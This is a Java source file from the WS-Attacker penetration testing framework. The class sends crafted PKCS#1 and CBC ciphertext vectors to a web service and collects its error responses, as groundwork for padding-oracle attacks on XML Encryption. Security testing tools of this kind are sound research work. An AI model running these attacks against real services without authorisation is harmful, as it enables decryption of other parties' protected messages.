/**
* WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright
* (C) 2013 Dennis Kupser
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 51
* Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package wsattacker.plugin.xmlencryptionattack.serverbehaviour;
import java.io.IOException;
import java.util.Observable;
import javax.xml.bind.JAXBException;
import javax.xml.xpath.XPathExpressionException;
import org.apache.log4j.Logger;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.SAXException;
import wsattacker.library.signatureWrapping.util.exception.InvalidPayloadException;
import wsattacker.library.signatureWrapping.util.exception.InvalidWeaknessException;
import wsattacker.library.xmlencryptionattack.attackengine.AttackConfig;
import wsattacker.library.xmlencryptionattack.attackengine.CryptoAttackException;
import wsattacker.library.xmlencryptionattack.attackengine.attacker.cbc.CBCVectorGenerator;
import wsattacker.library.xmlencryptionattack.attackengine.attacker.pkcs1.PKCS1VectorGenerator;
import wsattacker.library.xmlencryptionattack.attackengine.oracle.base.request.OracleRequest;
import wsattacker.library.xmlencryptionattack.attackengine.oracle.base.response.OracleResponse;
import wsattacker.library.xmlencryptionattack.attackengine.oracle.concrete.pkcs1.strategy.PKCS1StrategyFactory.PKCS1Strategy;
import wsattacker.library.xmlencryptionattack.avoidingengine.wrappingoracles.weakness.EncryptedKeyRefWeakness;
import wsattacker.library.xmlencryptionattack.detectionengine.detectionmanager.DetectFilterEnum;
import wsattacker.library.xmlencryptionattack.detectionengine.detectionstreams.DetectionReport;
import wsattacker.library.xmlencryptionattack.detectionengine.filter.info.AvoidedDocErrorInfo;
import wsattacker.library.xmlencryptionattack.detectionengine.filter.info.TimestampInfo;
import wsattacker.library.xmlencryptionattack.encryptedelements.AbstractEncryptionElement;
import wsattacker.library.xmlencryptionattack.encryptedelements.ElementAttackProperties;
import wsattacker.library.xmlencryptionattack.encryptedelements.data.EncryptedDataElement;
import wsattacker.library.xmlencryptionattack.encryptedelements.key.EncryptedKeyElement;
import wsattacker.library.xmlencryptionattack.timestampelement.TimestampBase;
import wsattacker.library.xmlencryptionattack.util.CryptoConstants;
import wsattacker.library.xmlencryptionattack.util.HelperFunctions;
import wsattacker.library.xmlencryptionattack.util.ServerSendCommandIF;
import static wsattacker.library.xmlencryptionattack.util.XMLEncryptionConstants.WrappingAttackMode.NO_WRAP;
import wsattacker.library.xmlencryptionattack.util.XMLEncryptionConstants.XMLEncryptionAttackMode;
import wsattacker.library.xmlutilities.dom.DomUtilities;
import wsattacker.main.composition.plugin.option.AbstractOption;
import wsattacker.main.plugin.result.Result;
import wsattacker.main.plugin.result.ResultEntry;
import wsattacker.main.plugin.result.ResultLevel;
import wsattacker.plugin.xmlencryptionattack.XMLEncryptionAttack;
import wsattacker.plugin.xmlencryptionattack.option.OptionServerErrorBehaviour;
/**
* @author Dennis
*/
// TODO: integrate parts of this class in lib
public class ServerErrMsgSendFunc
extends Observable
implements Runnable
{
private static final Logger LOG = Logger.getLogger( ServerErrMsgSendFunc.class );
private final AttackConfig m_AttackCfg;
private final DetectionReport m_DetectionReport;
private final AbstractOption m_Option;
private final ServerSendCommandIF m_SerSendCmnd;
private boolean m_IsStopped = false;
private boolean m_IsPKCS1WithEncData = false;
public ServerErrMsgSendFunc( AttackConfig attackcfg, DetectionReport detectReport, AbstractOption option,
ServerSendCommandIF serCmd )
{
// wrapping muss einbezogen werden!!!
this.m_SerSendCmnd = serCmd;
this.m_DetectionReport = detectReport;
this.m_AttackCfg = attackcfg;
this.m_Option = option;
}
@Override
public void run()
{
OracleRequest[] generateVectors = null;
try
{
( (OptionServerErrorBehaviour) m_Option ).setGUIButtonState( false );
( (XMLEncryptionAttack) m_Option.getCollection().getOwnerPlugin() ).getAvoidedAttackRequest( m_DetectionReport );
}
catch ( InvalidWeaknessException | InvalidPayloadException | SAXException | XPathExpressionException ex)
{
LOG.error(ex);
}
AvoidedDocErrorInfo errorInfo =
(AvoidedDocErrorInfo) m_DetectionReport.getDetectionInfo( DetectFilterEnum.AVOIDDOCFILTER );
if ( null == errorInfo )
{
Result.getGlobalResult().add( new ResultEntry( ResultLevel.Important, ServerErrMsgSendFunc.class.getName(),
"Could not generate an avoided Document: Attack not possible" ) );
( (OptionServerErrorBehaviour) m_Option ).setGUIButtonState( true );
return;
}
CryptoConstants.Algorithm algo = errorInfo.getAlgoOfSymmtricBlockCipher();
// better solution= => filter object?
if ( XMLEncryptionAttackMode.PKCS1_ATTACK == m_AttackCfg.getXMLEncryptionAttack() )
{
try
{
generateVectors =
PKCS1VectorGenerator.generatePkcs1Vectors( m_AttackCfg.getPKCS1AttackCfg().getServerRSAPubKey(),
algo, m_IsPKCS1WithEncData );
}
catch ( CryptoAttackException ex )
{
LOG.error(ex);
}
}
else if ( XMLEncryptionAttackMode.CBC_ATTACK == m_AttackCfg.getXMLEncryptionAttack() )
generateVectors = CBCVectorGenerator.generateVectors( algo.BLOCK_SIZE );
else
throw new IllegalArgumentException( "no valid xml encryption attack" );
try
{
preparePayloadForServer( generateVectors, errorInfo );
}
catch ( InterruptedException | InvalidPayloadException | SAXException | XPathExpressionException ex )
{
LOG.error(ex);
}
}
private void preparePayloadForServer( OracleRequest[] generateVectors, AvoidedDocErrorInfo errorInfo )
throws InterruptedException, InvalidPayloadException, SAXException, XPathExpressionException
{
AbstractEncryptionElement originalEncEl = null;
AbstractEncryptionElement dmyAttack = null;
AbstractEncryptionElement dmyAttackEncDataKey = null;
Element errEncDataKeyElement = null;
Document errDocument = DomUtilities.createNewDomFromNode( errorInfo.getAvoidedDocument().getDocumentElement() );
originalEncEl = errorInfo.getOriginalPayInput();
ElementAttackProperties atttackPropsOriginal = originalEncEl.getAttackProperties();
Element errPayElement =
DomUtilities.findCorrespondingElement( errDocument, atttackPropsOriginal.getAttackPayloadElement() );
// set Payload element
if ( originalEncEl instanceof EncryptedKeyElement )
{
ElementAttackProperties dataAttackProps = null;
EncryptedDataElement encDataRef =
HelperFunctions.getEncDataOfEncryptedKey( (EncryptedKeyElement) originalEncEl );
dataAttackProps = encDataRef.getAttackProperties();
if ( null != dataAttackProps.getAttackPayloadElement() ) // wrapping attack result
errEncDataKeyElement =
DomUtilities.findCorrespondingElement( errDocument, dataAttackProps.getAttackPayloadElement() );
else
// no wrapping before
errEncDataKeyElement =
DomUtilities.findCorrespondingElement( errDocument, encDataRef.getEncryptedElement() );
dmyAttack = new EncryptedKeyElement( errPayElement );
dmyAttackEncDataKey = new EncryptedDataElement( errEncDataKeyElement );
if ( PKCS1Strategy.NO_KEYREF == m_AttackCfg.getPKCS1AttackCfg().getPKCS1Strategy() )
{
EncryptedKeyRefWeakness.deleteOldEncKeyReference( errPayElement );
}
}
else
dmyAttack = new EncryptedDataElement( errPayElement );
getErrorBehaviour( dmyAttack, dmyAttackEncDataKey, errDocument, generateVectors );
}
private void getErrorBehaviour( AbstractEncryptionElement dmyAttack, AbstractEncryptionElement dmyAttackEncDataKey,
Document errDocument, OracleRequest[] generateVectors )
throws SAXException, XPathExpressionException
{
String attackDocumentAsString = null;
OracleResponse serverResp = null;
TimestampBase timestamp = null;
TimestampInfo timeInfo = (TimestampInfo) m_DetectionReport.getDetectionInfo( DetectFilterEnum.TIMESTAMPFILTER );
if ( null != timeInfo )
timestamp = timeInfo.getTimestamp();
for ( int i = 0; generateVectors.length > i && !m_IsStopped; i++ )
{
setCipherPayload( i, dmyAttack, dmyAttackEncDataKey, generateVectors );
if ( null != timestamp )
{
timestamp.updateTimeStamp( errDocument );
}
attackDocumentAsString = DomUtilities.domToString( errDocument );
serverResp = new OracleResponse();
serverResp.setResponse( m_SerSendCmnd.send( attackDocumentAsString ) );
serverResp.setRequest( attackDocumentAsString );
// user has to decide which responses are valid
serverResp.setResult( OracleResponse.Result.INVALID );
if ( null != serverResp.getResponse() )
{
if ( !attackDocumentAsString.equals( serverResp.getResponse() )
&& !serverResp.getResponse().equals( "" ) )
{
if ( m_IsPKCS1WithEncData )
( (OptionServerErrorBehaviour) m_Option ).updateServerErrOption( serverResp,
dmyAttackEncDataKey );
else
( (OptionServerErrorBehaviour) m_Option ).updateServerErrOption( serverResp, dmyAttack );
( (OptionServerErrorBehaviour) m_Option ).updateProgressBar( (int) ( (float) i
/ (float) ( generateVectors.length ) * 100 ) );
}
}
}
m_SerSendCmnd.cleanCmd();
if ( !m_IsStopped && 1 >= m_DetectionReport.getErrorResponseTab().getData().size()
&& NO_WRAP != m_AttackCfg.getWrappingMode() )
{
Result.getGlobalResult().add( new ResultEntry( ResultLevel.Important, ServerErrMsgSendFunc.class.getName(),
"No valid Wrapping Position for this Attack" ) );
try
{
( (OptionServerErrorBehaviour) m_Option ).getServerBehaviour();
}
catch ( IOException | CryptoAttackException | JAXBException ex )
{
LOG.error(ex);
}
}
else
{
( (OptionServerErrorBehaviour) m_Option ).setGUIButtonState( true );
}
}
private void setCipherPayload( int index, AbstractEncryptionElement dmyAttack,
AbstractEncryptionElement dmyAttackEncDataKey, OracleRequest[] generateVectors )
{
if ( XMLEncryptionAttackMode.PKCS1_ATTACK == m_AttackCfg.getXMLEncryptionAttack() )
{
if ( m_IsPKCS1WithEncData )
dmyAttackEncDataKey.getCipherDataChild().setEncryptedData( generateVectors[index].getEncryptedDataBase64() );
dmyAttack.getCipherDataChild().setEncryptedData( generateVectors[index].getEncryptedKeyBase64() );
}
else if ( XMLEncryptionAttackMode.CBC_ATTACK == m_AttackCfg.getXMLEncryptionAttack() )
{
dmyAttack.getCipherDataChild().setEncryptedData( generateVectors[index].getEncryptedDataBase64() );
}
}
public void stop()
{
m_IsStopped = true;
m_SerSendCmnd.cleanCmd();
}
public void setIsPKCS1WithEncData( boolean state )
{
m_IsPKCS1WithEncData = state;
}
}